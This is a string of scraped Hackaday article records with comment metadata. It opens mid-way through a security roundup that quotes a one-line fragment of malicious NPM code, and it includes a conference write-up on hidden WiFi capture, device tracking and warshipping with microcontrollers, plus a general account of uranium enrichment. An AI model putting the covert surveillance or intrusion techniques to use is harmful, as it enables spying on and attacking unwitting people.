The last step was finding a buffer overflow in a routine that sets the MAC address from within the web interface. The tricky thing here is that the overflow code first gets handled by a strcat and strcpy, meaning a NULL byte ends the exploit data. It took some doing, but the team found a gadget chain that got to shellcode while walking the tightrope. They celebrated
with a bit of the Imperial march
.
False Flag Malware
What happens when you have a database where a user can upload arbitrary data, and an over-zealous pattern-matching anti-malware engine is running?
Database deletion wasn’t on my bingo card, but here we are
. It’s a literal false flag: create a fake malicious signature, to trick the anti-malware into doing the malicious thing instead. Microsoft Defender and Kaspersky EDR are the two applications called out here, though it’s likely other anti-virus programs would be subject to similar tricks. Microsoft issued a CVE and has shipped a fix, and Kaspersky rolled out some mitigations as well.
False Flag Slander
And then there was
this AI-enabled false flag
. A school principal was “caught” on a hot mic, expressing some concerning and racially-charged opinions about students, community members, and other school staff. The audio was leaked, the student body got wind of it, and the principle’s scalp was metaphorically called for.
But it was the school’s athletic director, with a speech-cloning service, and he has been arrested, which is sure to lead to an interesting court case. And sadly, this isn’t an isolated incident, as hoaxes have become relatively common, and this isn’t the first time an AI voice has been used maliciously. As much as we hate to say it, look for more of this to come.
Zombie Worm
What happens with a self-propagating worm gets its head cut off? Apparently
it turns into a zombie worm
. A strain of PlugX malware gained the ability to hop a ride on USB drives a few years back, with all of those infected machines reporting to a single C&C server. That server went offline, and researchers managed to snag the IP address. That’s important to prevent someone else raising the zombies back to unlife, but it also gives us a really interesting look into the infected machine stats.
Nigeria seems to hold the crown for the most infected machines, with India holding down second place. Some researchers have seen a Chinese theme in the data, suggesting China was patient zero, the origin of the worm, or maybe both. With researchers in control of the C&C IP, there is the possibility of issuing remote uninstall commands, but there are both legal and logistical challenges to that idea.
PSA: phpecc
And here’s a PSA for you PHP programmers. (We know you’re out there!) The
phpecc library appears to have been abandoned
.
Statistics suggest
it’s still getting over a thousand downloads a day, which isn’t great given that there are some outstanding CVEs in the codebase.
The
codebase has been forked
by Paragon Initiative Enterprises, P.I.E., who warn against fully trusting the code until an audit has completed. This is one to watch for a while, and be aware of the potential faults of the older versions.
Bits and Bytes
Phylum is back, reporting more malicious packages in NPM
. These seem to be coming from the same threat actors as have uploaded malware before, and thought to be North Korean actors. It’s fairly straightforward, with a preinstall hook running obfuscated JS code. This one is interesting, as it seems to be going after MacOS systems. There’s also an interesting bashism that has sneaked into the malicious JS, using the logical OR
||
instead of an if statement.
'linux' === type || exec()
Though due to a typo, it looks like this particular sample will never deploy a payload on Linux.
os.type()
uses the
uname
output, which always capitalizes Linux. Your English teacher was right! Capitalization does matter.
Earlier this month a series of CVEs against the Robot Operating System (ROS) came across my desk. I opted not to cover them, as it was a wall of CVEs with hardly any detail in any of them. I filed it away mentally, to check back later. It’s later, and
I was apparently not the only observer
that thought the report was quite thin on substance. It’s beginning to look like the CVEs are bogus, and the “research paper” was a hastily reworded copy of the ROS beginner tutorial. The most convincing evidence of this is that the presumably fake researchers claimed that security updates were coming soon, while core ROS developers never received reports on the CVEs.
And finally, maybe ransomware is good for one thing —
keeping the lights on
? Oh, no. Those lights are supposed to turn off during the day. Leiccester has had an attack of the ever-lit street lights, after a ransomware attack forced a shutdown a couple months back. | 3 | 2 | [
{
"comment_id": "6753692",
"author": "Zoe Nagy",
"timestamp": "2024-04-26T16:12:30",
"content": "JS === BS",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6753694",
"author": "Adrian",
"timestamp": "2024-04-26T16:14:51",
"content": "That’s a fun twi... | 1,760,371,935.349698 | ||
https://hackaday.com/2024/04/26/microsoft-updates-ms-dos-github-repo-to-4-0/ | Microsoft Updates MS-DOS GitHub Repo To 4.0 | Tom Nardi | [
"News",
"Retrocomputing",
"Software Hacks"
] | [
"dos",
"microsoft",
"ms-dos",
"open source"
] | We’re not 100% sure which phase of Microsoft’s “Embrace, Extend, and Extinguish” gameplan this represents, but just yesterday the Redmond software giant decided to
grace us with the source code for MS-DOS v4.0
.
To be clear, the GitHub repository itself has been around for several years, and previously contained the source and binaries for
MS-DOS v1.25 and v2.0 under the MIT license
. This latest update adds the source code for v4.0 (no binaries this time), which originally hit the market back in 1988. We can’t help but notice that DOS v3.0 didn’t get invited to the party — perhaps it was decided that it wasn’t historically significant enough to include.
That said, readers with sufficiently gray beards may recall that DOS 4.0 wasn’t particularly well received back in the day. It was the sort of thing where you either stuck with something in the 3.x line if you had older hardware, or waited it out and jumped to the greatly improved v5 when it was released. Modern equivalents would probably be the response to Windows Vista, Windows 8, and maybe even Windows 11. Hey, at least Microsoft keeps
some
things consistent.
It’s interesting that they would preserve what’s arguably the least popular version of MS-DOS in this way, but then again there’s something to be said for having a historical record on what
not
to do for future generations. If you’re waiting to take a look at what was under the hood in the final MS-DOS 6.22 release, sit tight. At this rate we should be seeing it sometime in the 2030s. | 30 | 14 | [
{
"comment_id": "6753609",
"author": "hammarbytp",
"timestamp": "2024-04-26T11:20:11",
"content": "I’m holding out for MS-DOS 5. It looks greathttps://youtu.be/dmEvPZUdAVI?si=hIWforg-G0SDW9SLhttps://youtu.be/dmEvPZUdAVI?si=hIWforg-G0SDW9SL",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,371,935.51068 | ||
https://hackaday.com/2024/04/26/how-to-cast-silicone-bike-bits/ | How To Cast Silicone Bike Bits | Jenny List | [
"Repair Hacks",
"Transportation Hacks"
] | [
"3D printed mold",
"casting",
"mold",
"motorcycle"
] | It’s a sad fact of owning older machinery, that no matter how much care is lavished upon your pride and joy, the inexorable march of time takes its toll upon some of the parts. [Jason Scatena] knows this only too well, he’s got a 1976 Honda CJ360 twin, and the rubber bushes that secure its side panels are perished. New ones are hard to come by at a sensible price, so
he set about casting his own in silicone
.
Naturally this story is of particular interest to owners of old motorcycles, but the techniques should be worth a read to anyone, as we see how he refined his 3D printed mold design and then
how he used mica powder to give the clear silicone its black colour
. The final buses certainly look the part especially when fitted to the bike frame, and we hope they’ll keep those Honda side panels in place for decades to come. Where this is being written there’s a CB400F in storage, for which we’ll have to remember this project when it’s time to reactivate it.
If fettling old bikes is your thing then we hope you’re in good company here, however we’re unsure that many of you will have
restored the parts bin for an entire marque
. | 23 | 11 | [
{
"comment_id": "6753603",
"author": "BadAngel",
"timestamp": "2024-04-26T09:58:59",
"content": "The process is really instructive, and I’m think about other grommets on my bike (GSXR750) that are really hard to source.By the way this gaskets really look like another cushion than can be found on suz... | 1,760,371,935.562991 | ||
https://hackaday.com/2024/04/25/ai-system-drops-a-dime-on-noisy-neighbors/ | AI System Drops A Dime On Noisy Neighbors | Dan Maloney | [
"Machine Learning"
] | [
"ai",
"arduino",
"BLE Sense",
"classification",
"Edge Impulse",
"ml",
"model",
"noise",
"siren"
] | “There goes the neighborhood” isn’t a phrase to be thrown about lightly, but when they build a police station next door to your house, you know things are about to get noisy. Just how bad it’ll be is perhaps a bit subjective, with pleas for relief likely to fall on deaf ears unless you’ve got firm documentation like that provided by
this automated noise detection system
.
OK, let’s face it — even with objective proof there’s likely nothing that [Christopher Cooper] is going to do about the new crop of sirens going off in his neighborhood. Emergencies require a speedy response, after all, and sirens are perhaps just the price that we pay to live close to each other. That doesn’t mean there’s no reason to monitor the neighborhood noise, though, so [Christopher] got to work. The system uses an Arduino BLE Sense module to detect neighborhood noises and Edge Impulse to classify the sounds. An ESP32 does most of the heavy lifting, including running the UI on a nice little TFT touchscreen.
When a siren-like sound is detected, the sensor records the event and tries to classify the type of siren — fire, police, or ambulance. You can also manually classify sounds the system fails to understand, and export a summary of events to an SD card. If your neighborhood noise problems tend more to barking dogs or early-morning leaf blowers, no problem — you can easily train different models.
While we can’t say that this will help keep the peace in his neighborhood, we really like the way this one came out. We’ve seen the BLE Sense and Edge Impulse team up before, too, for everything from
tuning a bike suspension
to
calming a nervous dog
. | 4 | 2 | [
{
"comment_id": "6753637",
"author": "Panondorf",
"timestamp": "2024-04-26T13:24:49",
"content": "I once lived in an apartment in an area with such a bad reputation I couldn’t even get food delivered. For years it was all quiet, I couldn’t figure out why people thought it was so dangerous.The police... | 1,760,371,935.441285 | ||
https://hackaday.com/2024/04/25/implantable-battery-charges-itself/ | Implantable Battery Charges Itself | Bryan Cockfield | [
"chemistry hacks"
] | [
"battery",
"implant",
"oxygen",
"pacemaker",
"research",
"sodium"
] | Battery technology is the major limiting factor for the large-scale adoption of electric vehicles and grid-level energy storage. Marginal improvements have been made for lithium cells in the past decade but the technology has arguably been fairly stagnant, at least on massive industrial scales. At smaller levels there have been some more outside-of-the-box developments for things like embedded systems and,
at least in the case of this battery that can recharge itself
, implantable batteries for medical devices.
The tiny battery uses sodium and gold for the anode and cathode, and takes oxygen from the body to complete the chemical reaction. With a virtually unlimited supply of oxygen available to it, the battery essentially never needs to be replaced or recharged. In lab tests, it took a bit of time for the implant site to heal before there was a reliable oxygen supply, though, but once healing was complete the battery’s performance leveled off.
Currently the tiny batteries have only been tested in rats as a proof-of-concept to demonstrate the chemistry and electricity generation capabilities, but there didn’t appear to be any adverse consequences. Technology like this could be a big improvement for implanted devices like pacemakers if it can scale up, and could even help fight diseases and improve healing times. For some more background on implantable devices,
[Dan Maloney] catches us up on the difficulties of building and powering replacement hearts for humans
. | 18 | 7 | [
{
"comment_id": "6753275",
"author": "Serghei",
"timestamp": "2024-04-25T08:37:35",
"content": "@Bryan Cockfield There you go! A good opportunity has arisen for the author to be the experimental subject in this matter! Go on, we praise the pioneers!",
"parent_id": null,
"depth": 1,
"repl... | 1,760,371,935.657648 | ||
https://hackaday.com/2024/04/24/sticky-situation-leads-to-legit-lego-hack/ | Sticky Situation Leads To Legit LEGO Hack | Kristina Panos | [
"Lifehacks"
] | [
"hot glue",
"lego",
"LEGO DOTS",
"mounting tape"
] | [samsuksiri] frequently uses a laptop and has an external drive to store projects. The drive flops around on the end of its tether and gets in the way, so they repurposed their old iPod pouch and attached it to the laptop lid with double-sided tape. You can guess how that went — the weight of the drive caused the pocket to sag and eventually detach over time.
Then [samsuksiri] remembered that they had LEGO DOTS patch stashed somewhere. It’s an 8×8 plate with adhesive on the back so you can build almost anywhere. Then the problem was this:
how to attach LEGO to the drive itself?
You’d think this is where the hot glue comes in, but that didn’t work because the drive is too slippery.
Nothing worked, really — not until [samsuksiri] flipped the drive over to work with the dimpled side that has un-coated plastic. Finally, the answer turned out to be mounting tape. Now, [samsuksiri] can attach the drive in any orientation, or even attach a second drive. Be sure to check it out after the break.
Looking for slightly more astounding LEGO creations?
Check out this hydroelectric dam.
Thanks to [Keith Olson] for the tip! | 8 | 4 | [
{
"comment_id": "6753382",
"author": "echodelta",
"timestamp": "2024-04-25T15:37:16",
"content": "The “adhesive” that’s good for dried flower arrangements. Chewed bubble gum holds much better in the long run. There are lots of real glues fast and slow setting all better than that arts and crafts stu... | 1,760,371,935.607236 | ||
https://hackaday.com/2024/04/24/the-performance-impact-of-cs-final-keyword-for-optimization/ | The Performance Impact Of C++’s `final` Keyword For Optimization | Maya Posch | [
"Software Development"
] | [
"c++",
"optimisation",
"software"
] | In the world of software development the term ‘optimization’ is generally reason for experienced developers to start feeling decidedly nervous, especially when a feature is marked as an ‘easy and free optimization’. The
final
keyword introduced in C++11 is one of such features. It promises a way to speed up object-oriented code by omitting the vtable call indirection by marking a class or member function as – unsurprisingly – final, meaning that it cannot be inherited from or overridden. Inspired by this promise, [Benjamin Summerton] figured that he’d
run a range of benchmarks
to see what performance uplift he’d get on his
ray tracing project
.
To be as thorough as possible, the tests were run on three different systems, including 64-bit Intel and AMD systems, as well as on Apple Silicon (M1). For the compilers various versions of GCC (12.x, 13.x), as well as Clang (15, 17) and MSVC (17) were employed, with rather interesting results for
final
versus no
final
tests. Clang was probably the biggest surprise, as with the keyword added, performance with Clang-generated code absolutely tanked. MSVC was a mixed bag, as were the GCC versions other than GCC 13.2 on AMD Ryzen, which saw a bump of a few percent faster.
Ultimately, it seems that there’s no free lunch as usual, and adding
final
to your code falls distinctly under ‘only use it if you know what you’re doing’. As things stand, the resulting behavior seems wildly inconsistent. | 22 | 14 | [
{
"comment_id": "6753236",
"author": "RgC",
"timestamp": "2024-04-25T03:51:02",
"content": "> “final“ was placed on just about every interface.https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#c139-use-final-on-classes-sparinglyPeople should learn more best practices from more mature deve... | 1,760,371,935.712259 | ||
https://hackaday.com/2024/04/24/downloading-satellite-imagery-with-wi-fi-antenna/ | Downloading Satellite Imagery With A Wi-Fi Antenna | Bryan Cockfield | [
"Radio Hacks"
] | [
"dish",
"parabolic",
"reflector",
"satellite",
"wifi"
] | Over the past century or so we’ve come up with some clever ways of manipulating photons to do all kinds of interesting things. From lighting to televisions and computer screens to communication, including radio and fiber-optics, there’s a lot that can be done with these wave-particles and a lot of overlap in their uses as well. That’s why you can take something like a fairly standard Wi-Fi antenna meant for fairly short-range communication and
use it for some other interesting tasks like downloading satellite data
.
Weather satellites specifically use about the same frequency range as Wi-Fi, but need a bit of help to span the enormous distance. Normally Wi-Fi only has a range in the tens of meters, but attaching a parabolic dish to an antenna can increase the range by several orders of magnitude. The dish [dereksgc] found is meant for long-range Wi-Fi networking but got these parabolic reflectors specifically to track satellites and download the information they send back to earth. Weather satellites are generally the target here, and although the photons here are slightly less energy at 1.7 GHz, this is close enough to the 2.4 GHz antenna design for Wi-Fi to be perfectly workable and presumably will work even better in the S-band at around 2.2 GHz.
For this to work, [dereksgc] isn’t even using a dedicated tracking system to aim the dish at the satellites automatically; just holding it by hand is enough to get a readable signal from the satellite, especially if the satellite is in a geostationary orbit.
You’ll likely have better results with something a little more precise and automated
, but for a quick and easy solution a surprisingly small amount of gear is actually needed for satellite communication. | 13 | 7 | [
{
"comment_id": "6753201",
"author": "TG",
"timestamp": "2024-04-25T00:02:14",
"content": "I got that same dish, found it super cheap in maybe 2017. You can definitely put it to use like this, I’ll vouch for that",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id":... | 1,760,371,935.759872 | ||
https://hackaday.com/2024/04/24/more-mirrors-and-a-little-audio-mean-more-laser-power/ | More Mirrors (and A Little Audio) Mean More Laser Power | Dan Maloney | [
"Laser Hacks"
] | [
"active",
"Brewster's window",
"Doppler",
"He-Ne",
"helium-neon",
"laser",
"mirror",
"passive",
"piezoelectric"
] | Lasers are pretty much magic — it’s all done with mirrors. Not every laser, of course, but in the 1980s, the most common lasers in commercial applications were probably the helium-neon laser, which used a couple of mirrors on the end of a chamber filled with gas and a high-voltage discharge to produce a wonderful red-orange beam.
The trouble is, most of the optical power gets left in the tube, with only about 1% breaking free. Luckily, there are ways around this, as [Les Wright] demonstrates with
this external passive cavity laser
. The guts of the demo below come from
[Les]’ earlier teardown of an 80s-era laser particle counter
, a well-made instrument powered by a He-Ne laser that was still in fine fettle if a bit anemic in terms of optical power.
[Les] dives into the physics of the problem as well as the original patents from the particle counter manufacturer, which describe a “stabilized external passive cavity.” That’s a pretty fancy name for something remarkably simple: a third mirror mounted to a loudspeaker and placed in the output path of the He-Ne laser. When the speaker is driven by an audio frequency signal, the mirror moves in and out along the axis of the beam, creating a Doppler shift in the beam reflected back into the He-Ne laser and preventing it from interfering with the lasing in the active cavity. This forms a passive cavity that greatly increases the energy density of the beam compared to the bare He-Ne’s output.
The effect of the passive cavity is plain to see in the video. With the oscillator on, the beam in the passive cavity visibly brightens, and can be easily undone with just the slightest change to the optical path. We’d never have guessed something so simple could make such a difference, but there it is. | 10 | 4 | [
{
"comment_id": "6753144",
"author": "Bruce Gettel",
"timestamp": "2024-04-24T20:11:42",
"content": "I don’t know nuttin’ about nuttin’ so forgive my ignorance. But in theory, could this be done multiple times with the same laser source across great distances – i.e. a “chain” of oscillators that ke... | 1,760,371,935.875103 | ||
https://hackaday.com/2024/04/24/diy-electronics-plus-woodworking-equal-custom-lamp/ | DIY Electronics Plus Woodworking Equal Custom Lamp | Inderpreet Singh | [
"LED Hacks"
] | [
"desk lamp",
"ESP8266",
"gesture"
] | There is something about wooden crafts that when combined with electronics, have a mesmerizing effect on the visual senses. The
Gesture Controlled DNA Wooden Desk Lamp
by [Timber Rough] is a bit of both with a nice desk piece that’s well documented for anyone who wants to build their own.
Construction starts with a laser cutter being employed to add kerfs, such that the final strips can be bent along a frame tube to form the outer backbone of the DNA helix structure. Add to the mix some tung oil, carnauba wax, and some glue — along with skill and patience — and you get the distinct shape of sugar-phosphate backbone.
The electronics include an ESP8266 with the PAJ7620 gesture sensor that controls two WS2812B RGB LED Strips. The sensor in question is very capable, and comes with the ability to recognize nine human hand gestures along with proximity which makes it apt for this application. The sensor is mounted atop the structure with the LEDs twisting down the frame to the base where the ESP8266 is tucked away. Tiny glass bottles are painted with acrylic spray varnish and then glued to the LEDs to form the base pairs of the double helix. We thought that the varnish spray was a clever idea to make light diffusers that are quick and cheap for most DIYers.
We previously covered how
this particular gesture sensor can be used
to control much more than a lamp if you seek more ideas in that realm. | 5 | 3 | [
{
"comment_id": "6753122",
"author": "Clovis Fritzen",
"timestamp": "2024-04-24T18:50:13",
"content": "“There is something about wooden crafts that when combined with electronics, have a mesmerizing effect on the visual senses” so true. In fact any material combined with electronics has a similar ef... | 1,760,371,935.825114 | ||
https://hackaday.com/2024/04/24/supercon-2023-alex-lynd-explores-mcus-in-infosec/ | Supercon 2023: Alex Lynd Explores MCUs In Infosec | Tom Nardi | [
"cons",
"Hackaday Columns",
"Security Hacks",
"Slider"
] | [
"2023 Hackaday Supercon",
"ESP32",
"ESP8266",
"InfoSec",
"presentation",
"surveillance",
"talk"
] | The average Hackaday reader hardly needs to be reminded of the incredible potential of the modern microcontroller. While the Arduino was certainly transformative when it hit the scene, those early 8-bit MCUs were nothing compared to what’s on the market now. Multiple cores with clock speeds measured in the hundreds of megahertz, several MB of flash storage, and of course integrated WiFi capability mean today’s chips are much closer to being fully-fledged computers than their predecessors.
It’s not hard to see the impact this has had on the electronics hobby. In the early 2000s, getting your hardware project connected to the Internet was a major accomplishment that probably involved bringing some hacked home router along for the ride. But today, most would consider something like an Internet-connected remote environmental monitor to be a good starter project. Just plug in a couple I2C sensors, write a few lines of Python, and you’ve got live data pouring into a web interface that you can view on your mobile device — all for just a few bucks worth of hardware.
But just because we’re keenly aware of the benefits and capabilities of microcontrollers like the ESP32 or the Pi Pico, doesn’t mean they’ve made the same impact in other tech circles. In his talk
Wireless Hacking on a $5 Budget
, Alex Lynd goes over some examples of how he’s personally put these devices to work as part of his information security (infosec) research.
When Less is More
Like so many before him, Alex started his journey with Linux on the Raspberry Pi. It was, at least in the days before the chip shortage, a cheap and easy way to start exploring the intersection of hardware and software. But once they got too rare and expensive for a young hacker to experiment with, he started looking for alternatives.
This lead him to the work of security researchers such as
Spacehuhn
, who had used the ESP8266 to perform various attacks and techniques (such as WiFi deauthentication) which could previously only be done on a computer. While a Linux box filled with all the latest offensive and defensive security tools would of course always have its place, Alex immediately saw the appeal in developing these sort of single-purpose infosec gadgets.
Dumping the firmware from an ESP32-based smart bulb.
The most obvious one, naturally, is cost. Most modern microcontrollers are so cheap that they’re essentially disposable — something that can be a huge benefit while performing reconnaissance or other penetration testing tasks. If you don’t have to go and retrieve your deployed gear, that’s one less chance to get caught. In a similar vein, the fact that a microcontroller is so much smaller than even a Raspberry Pi makes it easier to hide.
On the subject of covert operations, Alex also points out the potential to commandeer an existing IoT device that may very well already have your favorite chip onboard. We’ve seen plenty of smart light bulbs that
used some member of the ESP family internally
, and hackers have demonstrated how easily they can be reprogrammed. Crafting a custom firmware for one of these devices that maintains its original functionality while adding in some malicious functions is certainly within the realm of possibility.
Hidden or otherwise, Alex also believes MCUs can be easier to configure and deploy in the wild. If you’re just looking to perform a single task, such as logging all of the devices going into or out of a particular building, you don’t need to configure and run a whole operating system. Without the added complexity of that OS, your deployment can be faster and potentially more reliable. It can also be easier and faster to replicate. Whether your goal is to share your work with others, or simply spin up multiple instances of your own personal tool, it doesn’t get much easier than flashing a firmware file to a fresh MCU.
Targeted Applications
Alex quickly move from the theoretical to the practical, showing off a number of devices he’s built and operated over the last several years.
The first was a discreet reconnaissance tool made up of an ESP-01 hidden inside of a USB phone charger. It could detect when particular WiFi devices were present or had joined a particular network, and alert him with email and SMS notifications. In his case, Alex was just keeping tabs on his father’s comings and goings, but it’s not difficult to see how this capability could be put to use during a penetration test.
He then goes on to describe an expedient WiFi capture device made from nothing more than an ESP32, an SD card, and a salvaged lithium ion battery tucked into an inconspicuous enclosure. Alex explains that the more powerful ESP32 has the ability to perform full WiFi packet capture, which is dumped to a Wireshark-compatible file on the SD card. The device, which looked like any other piece of trash laying on the street, was then able to intercept the communications of a nearby wireless security camera.
The
“$10 wardriving rig”
uses public WiFi to return its results, and is cheap enough to be disposable.
Alex also describes his experiments with a technique known as warshipping, which is when a device is physically shipped to a destination (such as an office building) for the purposes of surveillance or penetration testing. The idea is to send the package to an employee or department that doesn’t exist — you want it to be in the building long enough to capture useful data, but then have it ultimately returned to sender. The catch here is that you need a lightweight device that can run for as long as possible on an internal battery pack. A Raspberry Pi can do it, but in terms of runtime per milliwatt-hour, there’s no beating a modern microcontroller with a properly configured sleep routine.
Going Beyond WiFi
Alex ends the presentation by talking about what’s he has planned for the future. Thus far he’s limited himself largely to WiFi, but he’d really like to start experimenting with other wireless protocols using similar low-cost hardware.
Bluetooth is the next logical step, as several microcontrollers have that built-in. This offers some interesting potential for tracking assets and even individuals, as Bluetooth Low Energy (BLE) has become essentially the defacto communications method for wearable devices. Tracking a target’s phone is one thing, but if you can keep tabs on where their smart watch or earbuds are, you’ll really be able to zero in on their movement.
Beyond that he’d like to start working with radio modules (or even software defined radio) that will let him tap into the unlicensed frequencies such as 433 MHz, as there’s a whole world of interesting devices out there just waiting to hear the right signal. But Alex is also interested in the potential for using microcontrollers to physically interface with devices, which is where I/O powerhouse platforms like the Pi Pico come into play.
Ultimately, Alex sees nothing but potential for the use of microcontrollers in information security. Each year they get faster and more capable, while still remaining affordable enough that you can buy a handful just to play around with the various platforms. His high water mark is the
Sensor Watch from Joey Castillo
: he reasons that if an individual hacker can pack a programmable microcontroller and sensors into such a constrained platform while having the device remain completely inconspicuous externally, imagine what else is possible if you’re willing to really lean into the minimalist approach. | 9 | 6 | [
{
"comment_id": "6753096",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2024-04-24T17:47:12",
"content": "I’m not trying to ageist(?). B^)I am impressed by what he has done.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6753104",
... | 1,760,371,935.946143 | ||
https://hackaday.com/2024/04/24/the-first-european-pocket-calculator-came-from-yugoslavia/ | The First European Pocket Calculator Came From Yugoslavia | Jenny List | [
"Retrocomputing"
] | [
"70's calculators",
"calculator",
"retro calculato",
"yugoslavia"
] | At the start of the 1970s the pocket calculator was the last word in personal electronics, and consumers in Europe looked eagerly towards Japan or the USA for a glimpse of new products. Meanwhile the European manufacturers, perhaps Philips in the Netherlands, or Olivetti in Italy, would no doubt have been putting their best engineers on to the task of delivering the first domestic European models.
So who was first with a European-made calculator? Not the Dutch, the Italians, the Germans, or even the Brits,
instead that honour went to the Yugoslavians
. Digitron is a company located in Buje, in modern-day Croatia, and they pipped everyone else in Europe to the post back in 1971 with their DB800 model.
We read about the achievement through the above-linked exhibition, but perhaps the greatest surprise comes in finding relatively little technical information online about these machines. Other early calculators have been subjected to extensive teardowns, so we can see all manner of interesting period tech. This one however, other than references to using Japanese parts, has very little. Whose chip did it use, and were there any quirky design choices made? We hope that someone out there has one and is prepared to give the world a peek.
Meanwhile,
we’ve looked at a few older calculators ourselves
. | 10 | 6 | [
{
"comment_id": "6753075",
"author": "Joshua",
"timestamp": "2024-04-24T17:22:03",
"content": "The design looks like it’s from 1960 or something.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6753086",
"author": "OH3MVV",
"timestamp": "2024-04-24T17:2... | 1,760,371,936.005196 | ||
https://hackaday.com/2024/04/24/mining-and-refining-uranium-and-plutonium/ | Mining And Refining: Uranium And Plutonium | Dan Maloney | [
"Engineering",
"Featured",
"News",
"Original Art",
"Slider"
] | [
"mining",
"Plutonium",
"uranium"
] | When I was a kid we used to go to a place we just called “The Book Barn.” It was pretty descriptive, as it was just a barn filled with old books. It smelled pretty much like you’d expect a barn filled with old books to smell, and it was a fantastic place to browse — all of the charm of an old library with none of the organization. On one visit I found a stack of old magazines, including a couple of
Popular Mechanics
from the late 1940s. The cover art always looked like pulp science fiction, with a pipe-smoking father coming home from work to his suburban home in a flying car.
But the issue that caught my eye had a cover showing a couple of rugged men in a Jeep, bouncing around the desert with a Geiger counter. “Build your own uranium detector,” the caption implored, suggesting that the next gold rush was underway and that anyone could get in on the action. The world was a much more optimistic place back then, looking forward as it was to a nuclear-powered future with electricity “too cheap to meter.” The fact that sudden death in an expanding ball of radioactive plasma was potentially the other side of that coin never seemed to matter that much; one tends to abstract away realities that are too big to comprehend.
Things are more complicated now, but uranium remains important. Not only is it needed to build new nuclear weapons and maintain the existing stockpile, it’s also an important part of the mix of non-fossil-fuel electricity options we’re going to need going forward. And getting it out of the ground and turned into useful materials, including its radioactive offspring plutonium, is anything but easy.
Lixiviants and Leachates
Despite its rarity in everyday life, uranium is surprisingly abundant. It’s literally as common as dirt; stick a shovel into the ground almost anywhere on Earth and you’ll probably come up with a detectable amount of uranium. The same goes for seawater, which has about 3.3 micrograms of uranium dissolved in every liter, on average. But as with most elements, uranium isn’t evenly distributed, resulting in deposits that are far easier to exploit commercially than others. Australia is the winner of this atomic lottery, with over 2 million tonnes of proven reserves, followed by Kazakhstan with almost a million tonnes, and Canada with 873,000.
While most of the attention uranium garners has to do with the properties of its large, barely stable nucleus, the element also participates in a lot of chemical reactions, thanks to its 92 electrons. The most common uranium compounds are oxides like uranium (IV) oxide, or uranium dioxide (UO
2
), the main mineral in the ore uranite, also known as pitchblende. Uranite also contains some triuranium octoxide (U
3
O
8
), which forms when UO
2
reacts with atmospheric oxygen. The oxides make up the bulk of commercially significant ores, with at least a dozen other minerals including uranium silicates, titanates, phosphates, and vanadates being mined somewhere in the world.
Getting uranium out of the ground used to be accomplished through traditional hard-rock mining techniques, where ore is harvested from open-pit mines or via shafts and tunnels running into concentrated seams. The ore is then put through the usual methods of extraction that we’ve seen before in this series, such as crushing and grinding followed by physical separation steps like centrifugation, froth flotation, and filtration. However, the unique chemical properties of uranium, especially its ready solubility, make in situ leaching (ISL) an attractive alternative to traditional extraction.
ISL is a hydrometallurgical process that has become the predominant extraction method for uranium. ISL begins by drilling boreholes into an ore-bearing seam, either from drill rigs on the surface or via tunnels and shafts dug by traditional mining methods. The boreholes are then connected to injection wells that pump a chemical leaching agent or lixiviant into the holes. For uranium, the lixiviant is based on the minerals in the ore and the surrounding rock, and is generally something like a dilute sulfuric acid or an aqueous solution of sodium bicarbonate. Oxygen is often added to the solution, either via the addition of hydrogen peroxide or by bubbling air through the lixivant. The solution reacts with and solubilizes the uranium minerals in the ore seam.
ISL offers huge advantages compared to conventional mining. Although uranium is abundant, it’s still only a small percentage of the volume of the rock bearing it, and conventional mining requires massive amounts of material to be drilled and blasted out of the ground and transported to the surface for processing. ISL, on the other hand, gets the uranium into aqueous solution while it’s still in the ground, meaning it can be pumped to the processing plant. This makes ISL a more continuous flow process, as opposed to the more batch-wise processing methods of conventional mining. Plus, the lixiviant can be tailored to the minerals in the ore so that only the uranium is dissolved, leaving the rock matrix and unwanted minerals underground.
Reacting With Hex
Yellow cake is a mixture of various oxides of uranium. Source: Nuclear Regulatory Commission, public domain.
Uranium dioxide (UO
2
) is the primary endpoint of uranium refinement. It’s a dark gray powder; the so-called “yellow cake” powder, which is also produced by chemical leaching, is an intermediate form in uranium processing and contains a mix of oxides, particularly U
3
O
8
. Natural uranium oxide, however, is not especially useful as a nuclear fuel; only a few reactors in the world, such as
the Canada Deuterium Uranium (CANDU)
reactor can use natural uranium directly. Every other application requires the uranium dioxide to be enriched to some degree.
Enrichment is the process of increasing the concentration of the rare fissile isotope
235
U in the raw uranium dioxide relative to the more abundant, non-fissile isotope
238
U. Natural uranium is about 99.7%
238
U, which can’t sustain a chain reaction under normal conditions, but with three fewer neutrons in its nucleus,
235
U is just unstable enough to be fissionable under the right conditions.
Unlike refining, which takes advantage of the chemical properties of uranium, enrichment is based on its nuclear properties. Separating one isotope from another, especially when they differ by only three neutrons, isn’t a simple process. The vast majority of the effort that went into the Manhattan Project during World War II was directed at finding ways to sort uranium atoms, and many of those methods are still in use to this day.
For most of the Cold War period, the principal method for enriching uranium was the gaseous diffusion method. Uranium oxide is first turned into a gas by reacting it with
hydrofluoric acid
to form uranium tetrafluoride, which is then treated with fluorine to first yield uranium pentafluoride and finally uranium hexafluoride:
Cascade of gas centrifuges used to enrich uranium, circa 1984. Source:
Nuclear Regulatory Commission
, public domain.
The highly volatile, incredibly corrosive uranium hexafluoride gas, or hex, is pumped at high pressure into a pressure vessel that contains a semi-permeable separator made from sintered nickel or aluminum. The pore size is tiny, only about 20 nanometers. Since the rate at which a gas molecule passes through a pore depends on its mass, the slightly lighter
235
UF
6
tends to get through the barrier faster, leaving the high-pressure side of the chamber slightly depleted of the desirable
235
U
6
. Multiple stages are cascaded together, with the slightly enriched output of each stage acting as the input for the next stage, eventually resulting in the desired enrichment — either low-enriched uranium (LEU), which is in the 2-3%
235
U range needed for civilian nuclear reactor fuel, or high-enriched uranium (HEU), which is anything greater than 20% enriched, including the 85-90% required for nuclear weapons.
These days, gaseous diffusion is considered largely obsolete and has given way to gas centrifugation enrichment. In this method, gaseous hex is pumped into a tall, narrow cylinder spinning in a vacuum at very high speed, often greater than 50,000 revolutions per minute. The heavier
238
UF
6
is flung against the outer wall of the centrifuge while the lighter
235
UF
6
